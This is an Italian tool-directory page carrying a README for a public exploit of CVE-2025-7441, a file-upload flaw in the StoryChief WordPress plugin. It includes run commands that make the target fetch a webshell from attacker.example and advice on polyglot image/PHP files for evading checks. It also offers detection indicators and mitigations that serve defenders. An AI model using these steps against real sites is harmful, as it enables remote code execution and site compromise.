Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-7441 — StoryChief <= 1.0.42 - Caricamento Arbitrario di File non Autenticato | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2025-7441
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubnxploited/cve-2025-7441

CVE-2025-7441

StoryChief <= 1.0.42 - Caricamento Arbitrario di File non Autenticato

Vedi Repository
10 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-7441

StoryChief <= 1.0.42 - Caricamento Arbitrario di File Non Autenticato

🚨 StoryChief <= 1.0.42 — Caricamento Arbitrario di File Non Autenticato (CVE-2025-7441)

ℹ️ Riepilogo

Le versioni di StoryChief (plugin WordPress) fino alla 1.0.42 compresa espongono una critica vulnerabilità di caricamento arbitrario di file non autenticato tramite l'endpoint REST /wp-json/storychief/webhook. Un attaccante può indurre il plugin a recuperare e salvare una risorsa remota controllata dall'attaccante (ad esempio una webshell) nella directory degli upload del sito, consentendo l'esecuzione remota di codice in molte installazioni WordPress predefinite.

  • CVE: CVE-2025-7441
  • CVSS: 9.8 (Critico)

💥 Impatto

  • Caricamento remoto non autenticato di file in wp-content/uploads/YYYY/MM/.
  • Potenziale esecuzione remota di codice quando il file caricato è eseguibile (ad es. PHP).
  • Compromissione completa del sito possibile quando WordPress è configurato per eseguire il PHP caricato sotto la root del documento.

🧩 Causa Principale della Vulnerabilità

Il plugin accetta un payload JSON in arrivo (evento di pubblicazione) che contiene un campo featured_image -> data -> sizes -> full che punta a un URL arbitrario. StoryChief non esegue una validazione sufficiente del tipo/contenuto del file né limita la fonte dell'URL, consentendo al plugin di recuperare la risorsa remota e salvarla nella directory degli upload del sito. Non c'è una validazione sufficiente per impedire la memorizzazione di file che contengono codice eseguibile.


🛠️ Script di Exploit — cosa fa (mappatura alla vulnerabilità)

Questa sezione spiega lo script di exploit (fornito separatamente) ad alto livello e mappa ogni comportamento importante alla vulnerabilità sottostante.

  • Analisi degli argomenti CLI — URL di destinazione (-u/--url), URL shell remota (-shell), chiave HMAC opzionale, intestazioni, flag proxy/timeout/retry, opzioni di debug e solo stampa.
  • Normalizzazione del target — aggiunge /wp-json/storychief/webhook quando viene fornita una root del sito.
  • Validazione dell'URL shell — verifica che l'URL remoto sia raggiungibile (HEAD/GET o curl).
  • Estrazione del nome file — usa il nome base dell'URL remoto per dedurre il nome file finale negli upload.
  • Costruzione del payload — inserisce l'URL controllato dall'attaccante in data.featured_image.data.sizes.full per forzare il plugin a recuperare e salvare il file.
  • Firma HMAC (opzionale) — calcola meta.mac (HMAC-SHA256) usando una chiave esadecimale opzionale; alcuni server potrebbero ignorarlo o richiederlo.
  • Invio — usa requests con retry/backoff o curl come fallback, supporta intestazioni personalizzate, proxy e --no-verify.
  • Gestione della risposta — analizza le risposte JSON per le chiavi permalink/id per rilevare il successo; altrimenti segnala il fallimento.
  • Output — stampa il percorso previsto per gli upload: wp-content/uploads/YYYY/MM/ in caso di successo.

🖼️ Requisiti del file Shell (critico)

Quando si utilizza un file remoto .php (ad esempio: https://attacker.example/shell.php) il file deve includere una intestazione immagine valida (byte magici) in modo che venga trattato/accettato come immagine dal plugin o dal codice di elaborazione delle immagini. Punti chiave:

  • Utilizzare un approccio poliglotta: il file deve iniziare con byte magici di immagine validi (es. JPEG, PNG o GIF) in modo che i controlli semplici e gli elaboratori di immagini lo accettino, contenendo anche il payload PHP in una sezione che rimane sul disco invariata.
  • Byte magici comuni per immagini:
    • JPEG: 0xFF 0xD8 0xFF
    • PNG: 0x89 0x50 0x4E 0x47
    • GIF: ASCII "GIF89a" o "GIF87a"
  • Non affidarsi solo all'estensione/nome file. Molti plugin ispezionano il contenuto del file o usano librerie (GD, ImageMagick) che verificano l'integrità dell'immagine.
  • Dipendente dall'ambiente: alcuni server convalideranno o ricodificheranno ulteriormente le immagini, il che potrebbe rimuovere il codice iniettato. Testare prima in un ambiente autorizzato.
  • Promemoria etico: NON pubblicare codice webshell funzionante qui. Creare e testare tali file solo in ambienti autorizzati.

▶️ Come eseguire (esempi)

Sostituisci i segnaposto con target autorizzati. Tutti gli esempi seguenti utilizzano un URL di shell remota .php.

  • Esempio base:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
  • Con percorso webhook esplicito e debug:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
  • Usa curl invece di requests:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
  • Stampa solo il payload (non inviare):
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only

Flag importanti:

  • --no-verify: salta la verifica TLS (usare con cautela).
  • --proxy: instradare le richieste attraverso un proxy.
  • --header "Key: Value": aggiungere intestazioni personalizzate.

📤 Output previsti

  • Esecuzione riuscita:
    • Uploaded: wp-content/uploads/2025/10/shell.php
  • Esempi di debug:
    • [DEBUG] shell HEAD status: 200
    • [DEBUG] post status: 200
    • [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
  • Messaggi di fallimento:
    • "[-] Error: shell URL is not reachable (not HTTP 200)"
    • "[-] Error: request failed"
    • "[-] Error: upload failed or endpoint returned non-JSON/HTML"

🔎 Rilevamento e Indicatori di Compromissione (IoC)

  • Richieste POST inaspettate a /wp-json/storychief/webhook da IP sconosciuti.
  • Nuovi file in wp-content/uploads/// con estensione PHP o estensioni immagine contenenti codice incorporato.
  • Log del server web che mostrano GET in uscita verso domini controllati dall'attaccante seguiti da accessi ai file caricati.
  • File immagine sospetti con contenuto non immagine aggiunto o incorporato.

🛡️ Mitigazione e Rimedio

Breve termine:

  • Aggiornare StoryChief a una versione corretta non appena disponibile.
  • Bloccare o limitare /wp-json/storychief/webhook tramite WAF o regole del server.
  • Limitare i recuperi in uscita dal server o l'egress verso domini non fidati.

Guida per sviluppatori:

  • Validare tipi e contenuti dei file dopo qualsiasi recupero remoto; verificare le immagini utilizzando parser sicuri e rifiutare file non validi.
  • Richiedere l'autenticazione per i webhook che causano download o creazione di file lato server.
  • Assicurarsi che la verifica HMAC/firma sia implementata e applicata.
  • Memorizzare i contenuti caricati al di fuori della webroot o disabilitare l'esecuzione dei file caricati in wp-content/uploads (regole del server web).

⚠️ Limitazioni e Avvertenze

  • Il successo dell'exploit dipende dalla configurazione del server, dalle librerie di elaborazione delle immagini e dalle policy di esecuzione del server web.
  • I server che rielaborano o ricodificano le immagini potrebbero rimuovere i payload iniettati.
  • Se il plugin verifica le firme, fornire un mac errato potrebbe causare il rifiuto.

🤝 Uso Responsabile

Questo documento è destinato a difensori e tester autorizzati. Non utilizzare queste tecniche contro sistemi di cui non si possiede o di cui non si ha esplicita autorizzazione al test. Lo sfruttamento non autorizzato è illegale e non etico.

Se si segnala il problema a un fornitore o proprietario del sito, includere dettagli di riproduzione, passaggi di mitigazione sicuri e suggerimenti per la correzione.


📚 Riferimenti e Crediti

  • Report e script di exploit di: Nxploited (Khaled Alenazi) — nome file script: CVE-2025-7441.py (fornito separatamente)
  • CVE: CVE-2025-7441
  • CVSS: 9.8
Scarica lo strumento